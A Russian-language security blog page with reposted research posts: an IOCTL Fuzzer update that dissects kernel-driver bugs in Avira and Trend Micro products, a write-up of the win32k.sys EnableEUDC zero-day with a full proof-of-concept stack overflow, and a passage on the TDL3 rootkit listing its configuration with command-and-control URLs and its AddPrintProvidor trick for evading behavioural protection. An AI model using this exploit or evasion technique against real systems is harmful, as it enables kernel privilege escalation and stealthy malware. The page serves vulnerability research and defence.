Mastodon

Tuesday, December 14, 2010

Обновление программы IOCTL Fuzzer

Репост из блога Esage Lab

Мы выпустили глобальное обновление IOCTL Fuzzer - программы для автоматического выявления уязвимостей в драйверах режима ядра при обработке IOCTL запросов. Подробности работы с данной программой рассматривались в статье Уязвимости в драйверах режима ядра для Windows.

В текущей версии фаззера присутствуют следующие нововведения:
  • Поддержка Windows 7
  • Полная поддержка 64-х разрядных версий Windows
  • Мониторинг исключений
  • Режим "честного фаззинга" (отправка IOCTL запросов из контекста процесса фаззера)
  • Разные режимы генерации некорректных данных для фаззинга
  • Возможность запуска фаззинга/мониторинга на начальных этапах загрузки операционной системы
Рассмотрим самые важные из них более подробно.

Поддержка 64-х разрядных версий Windows


Для работы на Windows x64 предусмотрена отдельная версия фаззера - ioctlfuzzer64.exe, отличия которой от 32-х разрядной версии минимальны. Заключаются они в способе перехвата системного вызова NtDeviceIoControlFile(): на x32 - замена адреса обработчика системного вызова в таблице KiServiceTable, а на x64 - сплайсинг (модификация кода) оригинального обработчика. Переход на сплайсинг был обусловлен тем, что в 64-х разрядных версиях Windows в KiServiceTable хранятся не сами адреса обработчиков системных вызовов, а 4-х байтовые смещения этих обработчиков относительно начала таблицы.

Фаззер не имеет функций отключения PatchGuard (защита от модификации кода ядра) и действительной цифровой подписи файла драйвера, поэтому его запуск на 64-х разрядных версиях Windows следует производить исключительно с активным удалённым отладчиком режима ядра, при наличии которого PatchGuard и проверка цифровых подписей драйверов выключаются автоматически.

Версия фаззера для Windows x64

Мониторинг исключений


Во время фаззинга (причём не только драйверов) хакеры довольно часто встречаются со следующей ситуацией: внутри исследуемой программы происходит попытка записи по недействительному (но потенциально контролируемому атакующим) адресу, которая "давится" встроенной в код программы обработкой исключений. В результате наличие уязвимости никак не скажется на поведении программы во время тестирования, и как следствие - такая уязвимость с огромной долей вероятности останется просто незамеченной.

Для решения подобных проблем и используют мониторинг исключений, суть которого сводится к тому, что бы каким-либо образом перехватить информацию об возникшем исключении до того, как его успеет обработать тестируемая программа.

К сожалению, все существующие на данный момент программы для мониторинга исключений или слишком медленны и не универсальны (касается тех, которые используют стандартный debug API) или работают только на нескольких относительно старых версиях Windows (касается популярной программы ExcpHook). По этой причине нами был разработан собственный инструмент для мониторинга исключений свободный от данных недостатков, который в последствии был интегрирован в IOCTL Fuzzer.

Принцип его работы заключается в перехвате не экспортируемой и не документированной функции ядра KiDispatchException() методом сплайсинга. А так как адрес данной функции получается из отладочных символов ядра, которые фаззер автоматически загружает с PDB сервера Microsoft, реализованный способ перехвата не привязан к конкретной версии операционной системы и является универсальным.

Монитор исключений записывает в лог следующую информацию:
  • Имя процесса и идентификатор потока, в контексте которого произошло исключение
  • Код исключения, с указанием текстовых констант для тех, которые являются стандартными
  • Адрес вызвавшей исключение инструкции и так же дополнительные параметры исключения
  • Ассемблерная мнемоника инструкции, которая вызвала исключение
  • Состояние регистров процессора на момент возникновения исключения

Мониторинг исключений

Для активации мониторинга исключений необходимо указать в командной строке к приложению ioctlfuzzer.exe параметр "--exceptions".

Режим "честного фаззинга"


Старая версия фаззера отправляла "мусорные" IOCTL запросы из контекста того же процесса, где был перехвачен оригинальный IOCTL запрос, что на практике приносило некоторое количество "ложных срабатываний" фаззера на не эксплуатируемых уязвимостях.

Для того, что бы проиллюстрировать причину таких "ложных срабатываний", рассмотрим следующий пример кода обработки IOCTL запроса в драйвере:
 1 
 2 typedef struct _REQUEST_BUFFER
 3 {
 4     char szString[];
 5 
 6 } REQUEST_BUFFER,
 7 *PREQUEST_BUFFER;
 8 
 9 // Указатель на доверенный процесс, который устанавливается,
10 // к примеру, при инициализации драйвера.
11 PEPROCESS m_TrustedProcess = NULL;
12 
13 NTSTATUS DriverDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp)
14 {
15     PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp);
16 
17     Irp->IoStatus.Status = ns;
18     Irp->IoStatus.Information = 0;
19 
20     if (stack->MajorFunction == IRP_MJ_DEVICE_CONTROL)
21     {
22         // извлечение параметров IOCTL запроса
23         ULONG Code = stack->Parameters.DeviceIoControl.IoControlCode;
24         ULONG Size = stack->Parameters.DeviceIoControl.InputBufferLength;
25         PREQUEST_BUFFER Buff = (PREQUEST_BUFFER)Irp->AssociatedIrp.SystemBuffer;
26 
27         switch (Code)
28         {
29         case IOCTL_DO_SOMETHING:
30             {
31                 // проверка параметров IOCTL запроса
32                 if (PsGetCurrentProcess() == m_TrustedProcess &&
33                     Size > 0)
34                 {
35                     char szLocalString[255];
36                     strcpy(szLocalString, &Buff->szString);
37 
38                     // выполнение какой-то полезной работы
39                     // ...
40                 }
41 
42                 break;
43             }
44         }
45     }
46 
47     // ...
48 
49 }

Как мы можем видеть, вызов функции strcpy() на 36-й строке уязвим к классическому переполнению буфера, которое, однако, не эксплуатируемое на практике, так как ему предшествует "отсекание" IOCTL-запросов от процессов, не являющихся доверенными (32-я строка). Поскольку IOCTL запросы старой версии фаззера отправлялись из контекста оригинального процесса, осуществляющего взаимодействие с тестируемым драйвером, то фаззинг продемонстрированного фрагмента кода приводил бы к краху системы.

Разумеется, далеко не все подобные проверки действительно нельзя обойти, однако, на практике было бы удобно иметь опцию, которая бы позволяла фаззеру пропускать подобные места кода. В новой версии IOCTL Fuzzer такая опция именуется "честный фаззинг". Её суть заключается в том, что активация настройки "fair_fuzzing" в конфигурационном файле указывает фаззеру на необходимость отправлять все "мусорные" IOCTL запросы из контекста своего собственного процесса, который, разумеется, вряд-ли будет являться доверенным для драйверов посторонних приложений.

В заключении рассмотрим пользу "честного фаззинга" при тестировании реального приложения на примере последней версии Avira Premium Security Suite. При запуске фаззера с отключенной настройкой "fair_fuzzing" довольно быстро происходит аварийное завершение работы системы в следствии краха тестируемого приложения. При анализе аварийного дампа обнаруживается следующий стек вызовов:
Access violation - code c0000005 (!!! second chance !!!)
*** ERROR: Module load completed but symbols could not be loaded for avgntflt.sys
avgntflt+0x698c:
b2a8a98c 66393e          cmp     word ptr [esi],di
kd> kb
ChildEBP RetAddr  Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
b27739b4 b2a87745 304ef370 caba0198 caba0384 avgntflt+0x698c
b27739cc b2a89ad4 81dea508 00000037 00000037 avgntflt+0x3745
b27739ec b2a89ba8 caba021c 81dea508 00000037 avgntflt+0x5ad4
b2773a1c 804ee119 81f2fd80 82174a68 806d22d0 avgntflt+0x5ba8
b2773a2c 80574d5e 82174ad8 8211ee58 82174a68 nt!IopfCallDriver+0x31
b2773a40 80575bff 81f2fd80 82174a68 8211ee58 nt!IopSynchronousServiceTail+0x70
b2773ae8 8056e46c 000000f4 00000000 00000000 nt!IopXxxControlFile+0x5e7
*** ERROR: Module load completed but symbols could not be loaded for IOCTLfuzzer.sys
b2773b1c b201b405 000000f4 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
b2773ba8 b201ba90 00000001 000000f4 00000000 IOCTLfuzzer+0x4405
b2773c9c b201be17 00000001 81ecf008 000000f4 IOCTLfuzzer+0x4a90
b2773d34 8053d638 000000f4 00000000 00000000 IOCTLfuzzer+0x4e17
b2773d34 7c90e4f4 000000f4 00000000 00000000 nt!KiFastCallEntry+0xf8
00a1e338 7c90d26c 7c801675 000000f4 00000000 ntdll!KiFastSystemCallRet
00a1e33c 7c801675 000000f4 00000000 00000000 ntdll!NtDeviceIoControlFile+0xc

Из аргументов функции avgntflt+0x5ba8 (выделены красным) извлекается имя устройства и параметры IOCTL запроса, который вызвал ошибку:
kd> !devobj 81f2fd80
Device object (81f2fd80) is for:
 avgntflt \FileSystem\avgntflt DriverObject 8210c1c8
Current Irp 00000000 RefCount 1 Type 00000008 Flags 00000040
Dacl e138a1dc DevExt 00000000 DevObjExt 81f2fe38
ExtensionFlags (0000000000)
Device queue is not busy.
kd> !irp 82174a68
Irp is active with 1 stacks 1 is current (= 0x82174ad8)
 No Mdl: System buffer=81dea508: Thread 81f29da8:  Irp stack trace.
     cmd  flg cl Device   File     Completion-Context
>[  e, 0]   5  0 81f2fd80 8211ee58 00000000-00000000
        \FileSystem\avgntflt
   Args: 00000000 00000037 caba021c 00000000
kd> dt _IO_STACK_LOCATION 82174ad8 Parameters.DeviceIoControl.
ntdll!_IO_STACK_LOCATION
   +0x004 Parameters                  :
      +0x000 DeviceIoControl             :
         +0x000 OutputBufferLength          : 0
         +0x004 InputBufferLength           : 0x37
         +0x008 IoControlCode               : 0xcaba021c
         +0x00c Type3InputBuffer            : (null)

Как видно, ошибка происходит при обработке IOCTL запроса с кодом 0xcaba021c, адресованного устройству avgntflt (драйвер тестируемого продукта). Изучение уязвимого драйвера с помощью дизассемблера приводит к следующему фрагменту кода:
 1 unsigned int __stdcall sub_F7F376AA(unsigned int Code, int FileInformation, int a3, int a4, ULONG Length, int a6, int a7)
 2 {
 3   int v8; // eax@20
 4   int v9; // [sp+0h] [bp-4h]@1
 5 
 6   v9 = 0;
 7   if (KeGetCurrentIrql())
 8     return STATUS_UNSUCCESSFUL;
 9 
10   if ( Code != 0xCABA0198
11     && Code != 0xCABA0320
12     && Code != 0xCABA032C
13     && Code != 0xCABA0384
14     && IoGetCurrentProcess() != (PEPROCESS)dword_F7F3C184)
15     return STATUS_UNSUCCESSFUL;
16 
17   // ...
18 
19   if (Code == 0xCABA021C)
20   {
21     sub_F7F356F0(FileInformation, a3);
22     return v9;
23   }
24 
25   // ...
26 
27   return v9;
28 }

Как видно, вызов уязвимой функции sub_F7F356F0, которая осуществляет обработку IOCTL запроса с нужным нам кодом, происходит только в том случае, если будет удовлетворено условие, осуществляющее проверку текущего процесса на предмет того, является ли он доверенным. В этом легко убедиться запустив фаззер с активированной настройкой "fair_fuzzing" - в этом случае падения системы при повторном проведении теста не произойдет.

Режимы генерации некорректных данных для фаззинга


Алгоритм, который фаззер будет использовать для генерации некорректных данных, так же является важным фактором, определяющим эффективность его работы. Продемонстрируем это утверждение на следующем примере кода:
 1 typedef struct _REQUEST_BUFFER
 2 {
 3     ULONG Operation;
 4     char szString[];
 5 
 6 } REQUEST_BUFFER,
 7 *PREQUEST_BUFFER;
 8 
 9 NTSTATUS DriverDispatch(PDEVICE_OBJECT DeviceObject, PIRP Irp)
10 {
11     PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp);
12 
13     Irp->IoStatus.Status = ns;
14     Irp->IoStatus.Information = 0;
15 
16     if (stack->MajorFunction == IRP_MJ_DEVICE_CONTROL)
17     {
18         // извлечение параметров IOCTL запроса
19         ULONG Code = stack->Parameters.DeviceIoControl.IoControlCode;
20         ULONG Size = stack->Parameters.DeviceIoControl.InputBufferLength;
21         PREQUEST_BUFFER Buff = (PREQUEST_BUFFER)Irp->AssociatedIrp.SystemBuffer;
22 
23         switch (Code)
24         {
25         case IOCTL_DO_SOMETHING:
26             {
27                 // проверка параметров IOCTL запроса
28                 if (Buff->Operation == SOME_CONST &&
29                     Size > 0)
30                 {
31                     char szLocalString[255];
32                     strcpy(szLocalString, &Buff->szString);
33 
34                     // выполнение какой-то полезной работы
35                     // ...
36                 }
37 
38                 break;
39             }
40         }
41     }
42 
43     // ...
44 
45 }

Как видно, уязвимому к переполнению буфера вызову функции strcpy предшествует проверка значения поля Operation, структуры входящих данных IOCTL запроса, на равенство некоторой константе. Старая версия фаззера, с большой долей вероятности, не обнаружила бы подобную уязвимость по причине того, что при генерации "мусорных" IOCTL запросов она использовала примитивное заполнение входного буфера случайными байтами.

Данная недоработка была исправлена, и текущая версия фаззера поддерживает следующие режимы генерации некорректных данных:
  • Random - применявшееся ранее заполнение буфера случайными байтами.
  • Dwords - поочерёдное копирование в оригинальный входной буфер двойного слова таким образом, что бы его смещение начиная с первой и заканчивая последней итерацией отправки мусорных данных варьировалось в диапазоне от нуля до BuffSize - sizeof(DWORD). В качестве значения этого двойного слова поочерёдно используются константы 0x00000000, 0x00001000, 0xFFFF0000 и 0xFFFFFFFF.
Нужный режим генерации некорректных данных устанавливается при помощи настройки "fuzzing_type" в конфигурационном файле программы.

Запуск фаззинга/мониторинга на начальных этапах загрузки


Для более полного покрытия IOCTL запросов, обрабатываемых тестируемым драйвером, бывает необходимо выполнить так же фаззинг и тех из них, которые могут генерироваться приложением или системным сервисом единожды, например во время инициализации. Поскольку подобная инициализация может происходить ещё до запуска пользовательского окружения операционной системы, в новой версии фаззера была добавлена возможность запуска процесса фаззинга/мониторинга на ранних этапах загрузки.

Для активации IOCTL Fuzzer при следующей перезагрузке системы необходимо указать в командной строке к его приложению параметр "--boot".

Пример использования фаззера при поиске реальных уязвимостей


В завершении данной заметки приведем пример ещё одной уязвимости, которая была найдена с помощью IOCTL Fuzzer. В качестве тестируемого приложения будет выступать популярный на западном рынке антивирусных решений продукт - Trend Micro Titanium Maximum Security.

Вскоре после запуска фаззера происходит аварийное завершение работы системы, в выводе удалённого отладчика режима ядра отображается следующее сообщение, c информацией о последнем обработанном фаззером IOCTL запросе:
'C:\Program Files\Trend Micro\AMSP\coreServiceShell.exe' (PID: 792)
'\Device\TmComm' (0x81d6a030) [\SystemRoot\system32\DRIVERS\tmcomm.sys]
IOCTL Code: 0x9000402b,  Method: METHOD_NEITHER
    InBuff: 0x018fc080,  InSize: 0x0000004c
   OutBuff: 0x018fc080, OutSize: 0x0000004c

Как видно, в данном фрагменте фигурируют имена драйвера и процесса Trend Micro. Стек вызовов на момент краха системы выглядит следующим образом:
ChildEBP RetAddr  Args to Child
b2862410 804f7b9d 00000003 ffff0000 00000000 nt!RtlpBreakWithStatusInstruction
b286245c 804f878a 00000003 00000000 c07fff80 nt!KiBugCheckDebugBreak+0x19
b286283c 804f8cb5 00000050 ffff0000 00000001 nt!KeBugCheck2+0x574
b286285c 8051cc4f 00000050 ffff0000 00000001 nt!KeBugCheckEx+0x1b
b28628bc 8054051c 00000001 ffff0000 00000000 nt!MmAccessFault+0x8e7
b28628bc b217f927 00000001 ffff0000 00000000 nt!KiTrap0E+0xcc
WARNING: Stack unwind information not available. Following frames may be wrong.
b2862974 b2176acb 00000000 018fc060 00000001 tmcomm!CSystemThread::TearDown+0x46b1
b286298c b2176fa0 018fc080 018fc080 00000000 tmcomm!NormalizeFullNtPathToDosName+0x3aa7
b28629a8 b2176823 b2862a04 009f1edd c0000001 tmcomm!NormalizeFullNtPathToDosName+0x3f7c
b28629e8 b217592f 9000402b b2862a04 82057bd0 tmcomm!NormalizeFullNtPathToDosName+0x37ff
b2862a1c 804ee119 81d6a030 81d6a034 806d22d0 tmcomm!NormalizeFullNtPathToDosName+0x290b
b2862a2c 80574d5e 8228e6b0 82057bd0 8228e640 nt!IopfCallDriver+0x31
b2862a40 80575bff 81d6a030 8228e640 82057bd0 nt!IopSynchronousServiceTail+0x70
b2862ae8 8056e46c 00000d00 00000000 00000000 nt!IopXxxControlFile+0x5e7
b2862b1c b1eae4ca 00000d00 00000000 00000000 nt!NtDeviceIoControlFile+0x2a
b2862ba8 b1eaea90 00000001 00000d00 00000000 IOCTLfuzzer+0x44ca
b2862c9c b1eaee17 00000001 81ef9a48 00000d00 IOCTLfuzzer+0x4a90
b2862d34 8053d638 00000d00 00001554 00000000 IOCTLfuzzer+0x4e17
b2862d34 7c90e4f4 00000d00 00001554 00000000 nt!KiFastCallEntry+0xf8
018fbf70 7c90d26c 7c8016c2 00000d00 00001554 ntdll!KiFastSystemCallRet

Приступим к реверсингу уязвимого драйвера tmcomm.sys, начав с процедуры обработки IRP запросов к устройствам данного драйвера:
 1 int __stdcall sub_1E8BE(int DriverObject, char *Irp)
 2 {
 3   StackLocation = *((_DWORD *)Irp + 24);
 4   IoStatus = Irp + 28;
 5   *((_DWORD *)Irp + 7) = 0;
 6 
 7   MajorFunction = *(_BYTE *)StackLocation;
 8 
 9   if (MajorFunction == 2)
10     goto LABEL_12;
11 
12   if (MajorFunction > 0xDu)
13   {
14     // обработка IRP запросов типа IRP_MJ_DEVICE_CONTROL
15     if (MajorFunction <= 0xFu)
16     {
17       // извлечение параметров IOCTL запроса из структуры IO_STACK_LOCATION
18       Type3InputBuffer = *(_DWORD *)(StackLocation + 0x10);
19       UserBuffer = *((_DWORD *)v6 + 15);
20       InputBufferLength = *(_DWORD *)(StackLocation + 8);
21       OutputBufferLength = *(_DWORD *)(StackLocation + 4);
22       v27 = IoStatus;
23       v24 = OutputBufferLength;
24 
25       // дальнейшая обработка IOCTL запроса
26       v5 = sub_1F7A6(*(_DWORD *)(StackLocation + 0xC), (int)&InputBufferLength);
27       goto LABEL_9;
28     }
29 
30     // ...
31   }
32 
33   // ...
34 
35   return v5;
36 }

Как видно по приведенному псевдокоду, обработка IOCTL запросов осуществляется в процедуре sub_1F7A6():
 1 int __stdcall sub_1F7A6(int ControlCode, int a2)
 2 {
 3   v7 = 0xC00000BBu;
 4   v6 = 0;
 5   v2 = ExGetPreviousMode();
 6   v3 = 0;
 7   if (off_34CB4)
 8   {
 9     v4 = 0;
10 
11     // Поиск процедуры дальнейшей обработки IOCTL запроса по значению
12     // ControlCode. Для 0x9000402b (значение, которое было выявленно при фаззинге)
13     // будет вызвана процедура sub_1FF38()
14     while (*(int *)((char *)&dword_34CB0 + v4) != ControlCode)
15     {
16       ++v3;
17       v4 = 8 * v3;
18       if (!*(&off_34CB4 + 2 * v3))
19         goto LABEL_7;
20     }
21     v6 = *(&off_34CB4 + 2 * v3);
22   }
23 LABEL_7:
24   if (v2 == UserMode)
25   {
26     // проверка входного и выходного буферов
27     ProbeForRead(*(const void **)(a2 + 8), *(_DWORD *)a2, 1u);
28     ProbeForWrite(*(PVOID *)(a2 + 12), *(_DWORD *)(a2 + 4), 1u);
29   }
30   if ( v6 )
31   {
32     v7 = v6(a2); // <-- вызов процедуры sub_1FF38()
33 
34     // ...
35   }
36   return v7;
37 }

Полный код всех процедур, которые участвуют в обработке IOCTL запроса, приводиться не будет по причине его громоздкости.
В ходе проведенного реверсинга было выяснено, что IOCTL запрос с кодом 0x9000402b используется для вызова из пользовательского приложения оригинальных обработчиков тех системных вызовов, которые были перехвачены драйвером антивирусной защиты. При этом во входном буфере по нулевому смещению находится байт, значение которого определяет то, какой системный вызов следует вызвать (например, для NtCreateFile() это значение равно 0x2713). Все остальное пространство входного буфера используется для хранения указателей на структуры (UNICODE_STRING, OBJECT_ATTRIBUTES и другие), которые следует заполнить и передать в качестве параметров для системного вызова.

Уязвимость, позволяющая выполнить произвольный код с наивысшими привилегиями, содержится в функции, которая непосредственно осуществляет системный вызов. Она заключается в отсутствии проверок упоминавшихся выше указателей на параметры системного вызова:
 1 int __thiscall sub_288AA(void *this, int InputBuffer, int a3, int a4)
 2 {
 3   // извлечение параметров для системного вызова из входного буфера
 4   v18 = *(_DWORD *)(InputBuffer + 56);
 5   v17 = *(_DWORD *)(InputBuffer + 32);
 6   v12 = *(_DWORD *)(InputBuffer + 36);
 7   v14 = *(_DWORD *)(InputBuffer + 40);
 8   v15 = *(_DWORD *)(InputBuffer + 44);
 9   v11 = (HANDLE *)(a3 + 8);
10   ObjAttr = *(_DWORD *)(a3 + 0x3C);
11   v10 = (int)this;
12   StringBuffer = *(_DWORD *)(InputBuffer + 0xC);
13   v13 = *(_DWORD *)(InputBuffer + 52);
14   UnicodeString = *(_DWORD *)(InputBuffer + 0x44);
15   v19 = *(struct _IO_STATUS_BLOCK **)(a3 + 0x40);
16   StringLen = *(_DWORD *)(InputBuffer + 0x14);
17   v16 = *(_DWORD *)(InputBuffer + 48);
18 
19   if (StringBuffer && UnicodeString && ObjAttr && v19 && StringLen)
20   {
21     // заполнение структуры UNICODE_STRING
22     *(_DWORD *)(UnicodeString + 4) = StringBuffer;
23     *(_WORD *)(UnicodeString + 2) = StringLen;
24     *(_WORD *)UnicodeString = StringLen;
25 
26     // заполнение структуры OBJECT_ATTRIBUTES
27     *(_DWORD *)ObjAttr = 24;
28     *(_DWORD *)(ObjAttr + 4) = 0;
29     *(_DWORD *)(ObjAttr + 12) = 0x240u;
30     *(_DWORD *)(ObjAttr + 8) = UnicodeString;
31     *(_DWORD *)(ObjAttr + 16) = 0;
32     *(_DWORD *)(ObjAttr + 20) = 0;
33 
34     // вызов оригинального обработчика системного вызова NtCreateFile()
35     result = sub_185C2(v10, v11, v12, (OBJECT_ATTRIBUTES *)ObjAttr, v19, 0, v13, v14, v15, v16, 0, 0, a4);
36     if (result < 0)
37       *v11 = (HANDLE)-1;
38   }
39   else
40   {
41     result = 0xC000000Du;
42     *(_DWORD *)(InputBuffer + 4) = 0xC000000Du;
43   }
44   return result;
45 }

Таким образом, путём передачи уязвимому драйверу специальным образом сформированного буфера атакующий может переписать произвольным значением произвольный байт памяти в пространстве ядра. Более подробно эксплуатация подобных уязвимостей рассматривалась в уже упоминавшейся в данной заметке статье.

Стоит отметить, что рассмотренная уязвимость, не смотря на возможность локального выполнения произвольного кода в пространстве ядра, имеет низкую степень опасности. Это связанно с тем, что необходимое для эксплуатации уязвимости устройство \Device\TmComm может быть открыто только пользователем с наивысшими привилегиями:


Таким образом, уязвимость представляет исключительно образовательную ценность, и  её эксплуатация в реальных условиях является бессмысленной. Для уязвимости был разработан полнофункциональный эксплойт.

Загрузить IOCTL Fuzzer


IOCTL Fuzzer распространяется в виде исходных текстов и исполняемых файлов под 32-х и 64-х разрядные версии Windows.

Страница программы на Google Code
Файл README.TXT

Monday, December 13, 2010

Новая уязвимость в ядре Windows

Репост из блога Esage Lab

В эти дни во многих источниках появились сообщения об обнаружении в ядре Windows (а точнее, в "сердце" графической подсистемы win32k.sys) очередной локальной уязвимости нулевого дня. Интересно также и то, что изначально информация о данной уязвимости и сам эксплойт появились на одном из многочисленных китайских форумов, но тема довольно быстро была удалена администратором.

Уязвимость представляет собой классическое переполнение буфера в ядре. Рассмотрим подробно её технические детали.

В MSDN описана API функция EnableEUDC(), библиотеки Gdi32.dll, которая служит для включения или выключения т.н. end-user-defined characters (шрифтов интерфейса, определённых пользователем):
BOOL EnableEUDC(
  BOOL fEnableEUDC
);

Код этой функции выполняет системный вызов NtGdiEnableEudc(), который, в свою очередь, считывает путь к файлу пользовательского шрифта из параметра SystemDefaultEUDCFont, ключа реестра HKEY_CURRENT_USER\EUDC\<Current_code_page>. Для получения значения параметра реестра в коде win32k.sys используется функция RtlQueryRegistryValues():
NTSTATUS RtlQueryRegistryValues(
  __in      ULONG RelativeTo,
  __in      PCWSTR Path,
  __inout   PRTL_QUERY_REGISTRY_TABLE QueryTable,
  __in_opt  PVOID Context,
  __in_opt  PVOID Environment
);

В качестве одного из входных параметров она получает указатель на структуру RTL_QUERY_REGISTRY_TABLE:
typedef struct _RTL_QUERY_REGISTRY_TABLE {
    PRTL_QUERY_REGISTRY_ROUTINE QueryRoutine;
    ULONG Flags;
    PWSTR Name;
    PVOID EntryContext;
    ULONG DefaultType;
    PVOID DefaultData;
    ULONG DefaultLength;
} RTL_QUERY_REGISTRY_TABLE, *PRTL_QUERY_REGISTRY_TABLE;

Эта структура предназначена для передачи информации о параметре реестра, значение которого необходимо прочесть. В коде win32k.sys поля этой структуры заполняются следующим образом:
 1 signed int __stdcall sub_BF892113(wchar_t *a1, unsigned __int16 a2)
 2 {
 3   DestinationString.Buffer = (PWSTR)&v11;
 4   KeyHandle = 0;
 5   v9 = 0;
 6   v7 = 0;
 7   v11 = 0;
 8   SourceString = 0;
 9   DestinationString.Length = 0;
10   DestinationString.MaximumLength = 0x208u;
11 
12   // получение имени ключа
13   v4 = _get_EUDC_key_name(0x208u, &SourceString);
14   if (v4 >= 0)
15   {
16     // проверка существования ключа
17     if (_check_for_key_exists(&SourceString, &KeyHandle, &v9, (int)&v7) && v7)
18     {
19       SharedQueryTable.EntryContext = &DestinationString;
20       SharedQueryTable.QueryRoutine = 0;
21       SharedQueryTable.Flags = RTL_QUERY_REGISTRY_REQUIRED | RTL_QUERY_REGISTRY_DIRECT;
22       SharedQueryTable.Name = L"SystemDefaultEUDCFont";
23       SharedQueryTable.DefaultType = 0;
24       SharedQueryTable.DefaultData = 0;
25       SharedQueryTable.DefaultLength = 0;
26       dword_BF9A6444 = 0;
27       dword_BF9A6448 = 0;
28       dword_BF9A644C = 0;
29 
30       // получение значения параметра SystemDefaultEUDCFont
31       v4 = RtlQueryRegistryValues(0, &SourceString, &SharedQueryTable, 0, 0);
32     }
33     else
34     {
35       v4 = STATUS_SUCCESS;
36     }
37   }
38 
39   // skipped
40 
41   return 1;
42 }

Как видно, в качестве буфера, в котором следует сохранить значение реестра (поле QueryRoutine), передается локальный буфер фиксированного размера, переполнение которого и произойдет в том случае, если длина получаемых данных будет превышать 208h байт.

PoC код, эксплуатирующий данную уязвимость, выглядит весьма просто:
 1 #define EUDC_FONT_VAL "SystemDefaultEUDCFont"
 2 
 3 int _tmain(int argc, _TCHAR* argv[])
 4 {
 5     HKEY hKey;
 6     char szKeyName[MAX_PATH], Buff[0x600];
 7 
 8     sprintf_s(szKeyName, MAX_PATH, "EUDC\\%d", GetACP());
 9 
10     // создание ключа реестра
11     LONG Code = RegCreateKey(HKEY_CURRENT_USER, szKeyName, &hKey);
12     if (Code != ERROR_SUCCESS)
13     {
14         printf("ERROR: RegCreateKey() fails with status %d\n", Code);
15         return -1;
16     }
17 
18     // удаление старого параметра
19     RegDeleteValue(hKey, EUDC_FONT_VAL);
20 
21     // создание нового параметра "SystemDefaultEUDCFont" типа REG_BINARY
22     FillMemory(Buff, sizeof(Buff), 'A');
23     Code = RegSetValueEx(hKey, EUDC_FONT_VAL, 0, REG_BINARY, Buff, 0x600);
24 
25     RegCloseKey(hKey);
26 
27     if (Code != ERROR_SUCCESS)
28     {
29         printf("ERROR: RegSetValueEx() fails with status %d\n", Code);
30         return -1;
31     }
32 
33     // вызов уязвимой функции
34     EnableEUDC(TRUE);
35 
36     return 0;
37 }

В результате выполнения данной программы произойдет затирание оригинального значения адреса возврата на стеке в функции nt!CmpParseKey:
kd> kb
ChildEBP RetAddr  Args to Child
WARNING: Frame IP not in any known module. Following frames may be wrong.
b291a9d8 806260e0 8224ba74 e1011478 b291ac68 0x41414141
e1520b60 8062dec5 8062de52 806329ba 80632a06 nt!CmpParseKey+0x6ca
e1520b8c 00000000 00000b8c 86000301 00000001 nt!HvpReleaseCellMapped+0x73

Поскольку модули режима ядра не предусматривают какой-либо защиты (stack cookies и другие) от переполнений буфера - эксплуатация данной уязвимости до полноценного локального повышения привилегий тривиальна, что и демонстрирует оригинальный эксплойт.

Официальное исправление для уязвимости на данный момент отсутствует, однако, можно предотвратить возможность её эксплуатации из-под ограниченной учётной записи, выполнив следующие шаги:
  1. Войти в систему под учётной записью администратора.
  2. Запустить редактор реестра (Win+R - regedit) и найти ключ HKEY_USERS\<SID>\EUDC (где <SID> - идентификатор ограниченной учётной записи).
  3. Отредактировать разрешения ключа (пункт "Permissions..." контекстного меню), запретив пользовательской учётной записи доступ к нему.


Данную уязвимость так же возможно использовать для обхода UAC, в связи с чем ожидается скорое появление широко распространённых вредоносных программ, которые будут пытаться её эксплуатировать.

Thursday, April 29, 2010

TDSS Rootkit: Дальнейшее развитие и текущее состояние

Репост из блога Esage Lab

Про руткит TDSS - а именно, про ту его версию, которая также известна как TDL3 - написано достаточно много: с момента появления первых прецедентов прошло уже почти полгода. Однако, TDL3 до сих пор является актуальной угрозой, так как на каждое обновление процедур его обнаружения и лечения антивирусами авторы руткита отвечают всё новыми и новыми обновлениями вредоносного кода. Подробно ознакомиться с техническим описанием руткита TDL3 можно по следующим ссылкам (на английском языке):

TDL3 - Why so serious? Let's put a smile on that face...
От BackDoor.Tdss.565 и выше (aka TDL3)

В данной заметке я хотел бы остановиться на нововведениях, которые появились в TDL3 после публикации его первых обзоров. Кроме того, в конце заметки будут приведены результаты тестирования существующих утилит для лечения TDSS.

Инсталлятор


Инсталлятор руткита представляет собой исполняемый файл размером ~87Кб, обработанный несложной утилитой для запутывания кода (VirusTotal Report).

Ниже приведён конфигурационный файл, используемый руткитом после установки в систему:
[main]
quote=You people voted for Hubert Humphrey, and you killed Jesus
version=3.273
botid=7a91eb86-a6be-4db5-8694-0337dad2c75d
affid=20592
subid=0
installdate=22.4.2010 23:42:43
builddate=20.4.2010 16:17:53
[injector]
*=tdlcmd.dll
[tdlcmd]
servers=https://li1i16b0.com/;https://19js810300z.com/;https://lj1i16b0.com/
wspservers=http://7gafd33ja90a.com/;http://n1mo661s6cx0.com/
popupservers=http
version=3.741

Как видно, версия руткита - 3.273, последняя на данный момент.

С самых первых версий TDSS радовал нас оригинальной, и в то же время простой, техникой обхода поведенческой защиты, принцип работы которой основан на использовании механизмов службы диспетчера печати Windows. А именно, осуществлялась регистрация вспомогательной динамической библиотеки диспетчера печати (Print Processor) с помощью функции API функции AddPrintProcessor, что, в свою очередь, приводило к выполнению кода, содержащегося в этой библиотеке, в контексте доверенного процесса (а именно, spoolsv.exe). Сложность детектирования подобного поведения для систем типа HIPS заключается в том, что вызов функции AddPrintProcessor в итоге приводит к вызову RPC-функции диспетчера печати, единственный надёжный способ мониторинга которой заключается в контроле недокументированных LPC сообщений. Однако, со временем производители антивирусных защит всё-таки научились корректно препятствовать описанной технике. После этого разработчики руткита начали использовать с той же целью вызов похожей функции, а именно - AddPrintProvidor, вызов которой разработчики проактивных защит контролировать не догадались (sic!):
BOOL AddPrintProvidor(
    LPTSTR pName,         // reserved, must be NULL 
    DWORD  Level,         // provider information level 
                          // (if 1 - function uses a PROVIDOR_INFO_1 structure)
    LPBYTE pProviderInfo  // provider information buffer
);
typedef struct _PROVIDOR_INFO_1 
{ 
    LPTSTR pName; 
    LPTSTR pEnvironment; 
    LPTSTR pDLLName; 
  
} PROVIDOR_INFO_1, 
*PPROVIDOR_INFO_1; 

Взглянем на псевдокод той части инсталлятора, которая выполняет обход проактивной защиты:
